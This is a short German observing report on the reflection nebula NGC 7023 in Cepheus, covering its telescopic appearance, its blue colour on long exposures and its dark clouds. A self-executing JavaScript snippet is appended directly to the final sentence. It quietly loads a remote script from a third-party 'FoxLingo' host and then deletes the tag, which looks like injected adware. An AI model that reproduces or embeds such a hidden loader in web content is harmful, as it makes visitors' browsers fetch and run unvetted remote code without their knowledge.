trägt seinen Namen zu Recht: wie irisierendes (gestreutes) Licht an Wolken um den Mond aussieht, so wird das Licht des hellen Sternes in der Mitte an den interstellaren Wolken gestreut. Im Sternbild Kepheus lässt sich ein etwa 7 mag heller Stern leicht mit dem Teleskop aufspüren. Doch irgendwie macht er beim Scharfstellen einen seltsamen Eindruck: er wird größer und wieder kleiner, bis man plötzlich die Umgebung als ein Nebel erkennt, die diesen Stern einhüllt. Ich hatte den Eindruck von durchziehenden Wolken, mal ist er links, mal rechts, oben oder unten heller von der Wahrnehmung her. Und je länger man schaut, desto größer wird er.

Seine wahre Größe mit den umliegenden Dunkelwolken zeigt NGC 7023 aber erst auf langen Belichtungen (siehe Übersichtsaufnahme unter "mehr Bilder"). Und mit seiner ganzen Ausdehnung wird auch seine intensiv blaue Farbe sichtbar. Darüber hinaus treten auch die Dunkelwolken deutlich hervor und differenzieren sich selbst in viele einzelne Gebiete mit verschiedenen rötlichen Farben heraus. Sehr deutlich ist die Verdeckung der Milchstraßensterne im Hintergrund zu sehen. Woraus folgt, dass der Nebel uns relativ nahe stehen muss.

Eine sehr spannende Himmelsgegend unserer eigenen Galaxies!!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();